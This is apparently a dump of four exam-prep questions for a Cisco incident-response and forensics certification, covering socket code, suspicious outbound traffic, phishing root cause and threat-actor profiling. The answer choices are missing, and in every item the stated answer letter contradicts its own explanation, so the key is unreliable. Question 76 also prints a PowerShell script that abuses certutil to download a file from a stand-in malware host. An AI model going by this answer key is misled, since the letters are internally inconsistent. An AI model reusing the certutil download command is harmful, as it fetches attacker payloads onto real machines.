NEW QUESTION # 73
Refer to the exhibit.
A cybersecurity analyst is presented with the snippet of code used by the threat actor and left behind during the latest incident and is asked to determine its type based on its structure and functionality. What is the type of code being examined?
Answer: B
Explanation:
The Python code snippet:
Uses socket.socket(AF_INET, SOCK_STREAM), which indicates TCP communication Connects to a remote server (192.168.1.10 on port 80) Sends a manual HTTP GET request Receives the response using s.recv() This is a classic example of TCP/IP socket programming, specifically creating a simple TCP client to communicate with a web server. It does not monitor traffic or crawl websites - it sends a crafted request and prints the response.
Thus, this code best fits:
D). socket programming listener for TCP/IP communication.
NEW QUESTION # 74
An engineer notices irregular traffic spikes during off-hours in a network-monitoring tool. The spikes involve large outbound data transfers to an IP address geolocated in a high-risk jurisdiction. The traffic uses encrypted channels typically associated with secure file transfers. Which action should the engineer take to analyze the network traffic associated with these potentially malicious activities?
Answer: C
Explanation:
Option B is the only choice that performs evidence-driven traffic analysis. The engineer should inspect available packet and flow metadata, identify source and destination endpoints, measure transfer timing and volume, and correlate the external infrastructure with reliable threat intelligence. Encryption protects content in transit but does not prove the communication is benign; destination, certificate, protocol, session, and flow characteristics can still expose malicious activity. Increasing bandwidth merely accommodates possible exfiltration, while delaying analysis for maintenance leaves the risk unresolved. CBRFIR Forensics Processes objective 4.3 specifically requires analysis of traffic associated with malicious activity using network- monitoring tools, including NetFlow and Wireshark. Incident Response Techniques objective 3.9 also supports correlating internal observations with external threat intelligence to determine IOCs and IOAs.
Preserve packet captures and flow records before containment changes remove volatile evidence. Cisco CBRFIR v1.2 exam topics
NEW QUESTION # 75
An employee receives an email from a "trusted" person containing a hyperlink that is malvertising. The employee clicks the link and the malware downloads. An information analyst observes an alert at the SIEM and engages the cybersecurity team to conduct an analysis of this incident in accordance with the incident response plan. Which event detail should be included in this root cause analysis?
Answer: C
Explanation:
Theroot cause analysisin incident response focuses on identifying theinitial trigger or root causeof the incident to understand how it started and how to prevent recurrence. In this scenario, thephishing email sent to the victim(A) is the initial trigger that led to the employee's action of clicking the malvertising link, resulting in the malware download.
The other options represent later stages in the incident response cycle, such as detection (SIEM alert, cybersecurity team's alert) or supporting evidence (email header information), but they do not address the root cause, which is thephishing email itself.
This aligns with theCyberOps Technologies (CBRFIR) 300-215 study guide, which states that identifying theinitial vector of compromiseis critical to theroot cause analysisphase of incident response (Chapter:
Incident Response Techniques, page 410-412).

NEW QUESTION # 76
Refer to the exhibit.
$datePath = " certutil-$(Get-Date -format yyyy_MM_dd) "
New-Item -Path $datePath -ItemType Directory
Set-Location $datePath
certutil -verifyctl -split -f https://malware.com/XY874HZ.txt
Get-ChildItem | Where-Object {$_.Name -notlike " *.txt " } | ForEach-Object { Move-Item $_.Name -Destination XY874HZ.txt
}
During a threat-intelligence review, a cybersecurity analyst evaluates artifacts from a recent incident involving a compromised server. The artifacts include a script that uses certutil to download files from a suspicious URL. This finding is critical for determining the threat-actor profile responsible for the attack.
Which threat-actor profile aligns with the artifacts?
Answer: A
Explanation:
The artifact invokes Windows certutil with a remote HTTPS URL, indicating abuse of a legitimate system utility to retrieve material onto a compromised host. Attribution should be based on a documented cluster of behaviors, not the tool alone; however, the question asks which listed profile matches this specific artifact. MITRE ATT & CK associates APT41 with certutil and maps that utility to Ingress Tool Transfer, while its certutil entry records APT41-related use. That directly supports option B and CBRFIR objective 3.10, evaluating threat-intelligence artifacts to determine a threat- actor profile. Option A names a different utility, BITSAdmin. Option C reverses the direction by describing exfiltration from the victim, whereas the command retrieves a remote file. Option D describes automated forwarding without evidence in the script. See the MITRE ATT & CK APT41 profile .
